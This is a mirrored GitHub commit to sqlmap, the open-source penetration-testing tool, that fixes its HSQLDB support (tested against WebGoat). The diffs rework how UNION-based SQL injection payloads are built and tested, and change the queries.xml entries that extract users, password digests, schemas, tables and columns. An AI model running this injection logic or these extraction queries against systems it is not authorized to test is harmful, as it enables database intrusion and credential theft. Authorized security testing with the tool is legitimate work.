Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 5705623

Browse files
committed
Further fixes for sqlmap to work properly with HSQLDB (WebGoat)
1 parent 48619d9 commit 5705623

4 files changed

Lines changed: 95 additions & 76 deletions

File tree

lib/core/agent.py

Lines changed: 19 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -588,7 +588,7 @@ def concatQuery(self, query, unpack=True):
588588
else:
589589
return query
590590

591-
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):
591+
if Backend.isDbms(DBMS.MYSQL):
592592
if fieldsExists:
593593
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
594594
concatenatedQuery += ",'%s')" % kb.chars.stop
@@ -615,6 +615,7 @@ def concatQuery(self, query, unpack=True):
615615
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
616616
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
617617
concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
618+
concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), "\g<2>\g<1>\g<3>", concatenatedQuery)
618619
elif fieldsSelect:
619620
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
620621
concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -885,15 +886,29 @@ def limitQuery(self, num, query, field=None, uniqueField=None):
885886
fromIndex = limitedQuery.index(" FROM ")
886887
untilFrom = limitedQuery[:fromIndex]
887888
fromFrom = limitedQuery[fromIndex + 1:]
888-
orderBy = False
889+
orderBy = None
889890

890891
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
891892
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
892893
limitedQuery += " %s" % limitStr
893894

894895
elif Backend.isDbms(DBMS.HSQLDB):
895-
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
896-
limitedQuery += " %s" % limitStr
896+
match = re.search(r"ORDER BY [^ ]+", limitedQuery)
897+
if match:
898+
limitedQuery = re.sub(r"\s*%s\s*" % match.group(0), " ", limitedQuery).strip()
899+
limitedQuery += " %s" % match.group(0)
900+
901+
if query.startswith("SELECT "):
902+
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
903+
limitedQuery = limitedQuery.replace("SELECT ", "SELECT %s " % limitStr, 1)
904+
else:
905+
limitStr = queries[Backend.getIdentifiedDbms()].limit.query2 % (1, num)
906+
limitedQuery += " %s" % limitStr
907+
908+
if not match:
909+
match = re.search(r"%s\s+(\w+)" % re.escape(limitStr), limitedQuery)
910+
if match:
911+
orderBy = " ORDER BY %s" % match.group(1)
897912

898913
elif Backend.isDbms(DBMS.FIREBIRD):
899914
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1)

lib/techniques/union/test.py

Lines changed: 68 additions & 64 deletions
Original file line numberDiff line numberDiff line change
@@ -165,74 +165,78 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO
165165
# Unbiased approach for searching appropriate usable column
166166
random.shuffle(positions)
167167

168-
# For each column of the table (# of NULL) perform a request using
169-
# the UNION ALL SELECT statement to test it the target URL is
170-
# affected by an exploitable union SQL injection vulnerability
171-
for position in positions:
172-
# Prepare expression with delimiters
173-
randQuery = randomStr(UNION_MIN_RESPONSE_CHARS)
174-
phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop)
175-
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
176-
randQueryUnescaped = unescaper.escape(randQueryProcessed)
177-
178-
# Forge the union SQL injection request
179-
query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where)
180-
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
181-
182-
# Perform the request
183-
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
184-
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
185-
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
186-
payload, True) or "")
187-
188-
if content and phrase in content:
189-
validPayload = payload
190-
kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1
191-
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False)
192-
193-
if where == PAYLOAD.WHERE.ORIGINAL:
194-
# Prepare expression with delimiters
195-
randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS)
196-
phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop)
197-
randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
198-
randQueryUnescaped2 = unescaper.escape(randQueryProcessed2)
199-
200-
# Confirm that it is a full union SQL injection
201-
query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2)
202-
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
203-
204-
# Perform the request
205-
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
206-
content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")
207-
208-
if not all(_ in content for _ in (phrase, phrase2)):
209-
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
210-
elif not kb.unionDuplicates:
211-
fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
212-
213-
# Check for limited row output
214-
query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable)
168+
for charCount in (UNION_MIN_RESPONSE_CHARS << 2, UNION_MIN_RESPONSE_CHARS):
169+
if vector:
170+
break
171+
172+
# For each column of the table (# of NULL) perform a request using
173+
# the UNION ALL SELECT statement to test it the target URL is
174+
# affected by an exploitable union SQL injection vulnerability
175+
for position in positions:
176+
# Prepare expression with delimiters
177+
randQuery = randomStr(charCount)
178+
phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop)
179+
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
180+
randQueryUnescaped = unescaper.escape(randQueryProcessed)
181+
182+
# Forge the union SQL injection request
183+
query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where)
184+
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
185+
186+
# Perform the request
187+
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
188+
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
189+
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
190+
payload, True) or "")
191+
192+
if content and phrase in content:
193+
validPayload = payload
194+
kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1
195+
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False)
196+
197+
if where == PAYLOAD.WHERE.ORIGINAL:
198+
# Prepare expression with delimiters
199+
randQuery2 = randomStr(charCount)
200+
phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop)
201+
randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
202+
randQueryUnescaped2 = unescaper.escape(randQueryProcessed2)
203+
204+
# Confirm that it is a full union SQL injection
205+
query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2)
215206
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
216207

217208
# Perform the request
218209
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
219-
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
220-
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
221-
payload, True) or "")
222-
if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
223-
warnMsg = "output with limited number of rows detected. Switching to partial mode"
224-
logger.warn(warnMsg)
225-
vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates, False)
226-
227-
unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError()
228-
229-
if unionErrorCase and count > 1:
230-
warnMsg = "combined UNION/error-based SQL injection case found on "
231-
warnMsg += "column %d. sqlmap will try to find another " % (position + 1)
232-
warnMsg += "column with better characteristics"
233-
logger.warn(warnMsg)
234-
else:
235-
break
210+
content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")
211+
212+
if not all(_ in content for _ in (phrase, phrase2)):
213+
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
214+
elif not kb.unionDuplicates:
215+
fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
216+
217+
# Check for limited row output
218+
query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable)
219+
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
220+
221+
# Perform the request
222+
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
223+
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
224+
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
225+
payload, True) or "")
226+
if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
227+
warnMsg = "output with limited number of rows detected. Switching to partial mode"
228+
logger.warn(warnMsg)
229+
vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates, False)
230+
231+
unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError()
232+
233+
if unionErrorCase and count > 1:
234+
warnMsg = "combined UNION/error-based SQL injection case found on "
235+
warnMsg += "column %d. sqlmap will try to find another " % (position + 1)
236+
warnMsg += "column with better characteristics"
237+
logger.warn(warnMsg)
238+
else:
239+
break
236240

237241
return validPayload, vector
238242

plugins/generic/databases.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -415,7 +415,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod
415415
colList = filter(None, colList)
416416

417417
if conf.tbl:
418-
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
418+
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
419419
conf.tbl = conf.tbl.upper()
420420

421421
tblList = conf.tbl.split(",")

xml/queries.xml

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -651,8 +651,8 @@
651651
<cast query="CAST(%s AS LONGVARCHAR)"/>
652652
<length query="CHAR_LENGTH(%s)"/>
653653
<isnull query="IFNULL(%s,' ')"/>
654-
<delimiter query=","/>
655-
<limit query="LIMIT %d OFFSET %d"/>
654+
<delimiter query="||"/>
655+
<limit query="LIMIT %d %d" query2="LIMIT %d OFFSET %d"/>
656656
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
657657
<limitgroupstart query="1"/>
658658
<limitgroupstop query="2"/>
@@ -676,26 +676,26 @@
676676
<users>
677677
<!-- LIMIT is needed at start for v1.7 this gets mangled unless no-cast is used -->
678678
<blind query="SELECT LIMIT %d 1 DISTINCT(user) FROM INFORMATION_SCHEMA.SYSTEM_USERS ORDER BY user" count="SELECT COUNT(DISTINCT(user)) FROM INFORMATION_SCHEMA.SYSTEM_USERS"/>
679-
<inband query="SELECT user FROM INFORMATION_SCHEMA.SYSTEM_USERS"/>
679+
<inband query="SELECT user FROM INFORMATION_SCHEMA.SYSTEM_USERS ORDER BY user"/>
680680
</users>
681681
<passwords>
682682
<!-- Passwords only shown in later versions &gt;=2.0 -->
683683
<blind query="SELECT LIMIT %d 1 DISTINCT(password_digest) FROM INFORMATION_SCHEMA.SYSTEM_USERS WHERE user_name='%s' ORDER BY password_digest" count="SELECT COUNT(DISTINCT(password_digest)) FROM INFORMATION_SCHEMA.SYSTEM_USERS WHERE user_name='%s'"/>
684-
<inband query="SELECT user_name,password_digest FROM INFORMATION_SCHEMA.SYSTEM_USERS" condition="user_name"/>
684+
<inband query="SELECT user_name,password_digest FROM INFORMATION_SCHEMA.SYSTEM_USERS ORDER BY user_name" condition="user_name"/>
685685
</passwords>
686686
<privileges/>
687687
<roles/>
688688
<dbs>
689689
<blind query="SELECT LIMIT %d 1 DISTINCT(table_schem) FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS ORDER BY table_schem" count="SELECT COUNT(table_schem) FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS"/>
690-
<inband query="SELECT table_schem FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS" />
690+
<inband query="SELECT table_schem FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS ORDER BY table_schem" />
691691
</dbs>
692692
<tables>
693693
<blind query="SELECT LIMIT %d 1 table_name FROM INFORMATION_SCHEMA.SYSTEM_TABLES WHERE table_schem='%s' ORDER BY table_name" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.SYSTEM_TABLES WHERE table_schem='%s'"/>
694-
<inband query="SELECT table_schem,table_name FROM INFORMATION_SCHEMA.SYSTEM_TABLES" condition="table_schem"/>
694+
<inband query="SELECT table_schem,table_name FROM INFORMATION_SCHEMA.SYSTEM_TABLES ORDER BY table_schem" condition="table_schem"/>
695695
</tables>
696696
<columns>
697697
<blind query="SELECT column_name FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND table_schem='%s' ORDER BY column_name" query2="SELECT column_type FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schem='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND table_schem='%s'" condition="column_name"/>
698-
<inband query="SELECT column_name,type_name FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND table_schem='%s'" condition="column_name"/>
698+
<inband query="SELECT column_name,type_name FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND table_schem='%s' ORDER BY column_name" condition="column_name"/>
699699
</columns>
700700
<dump_table>
701701
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>

0 commit comments

Comments
 (0)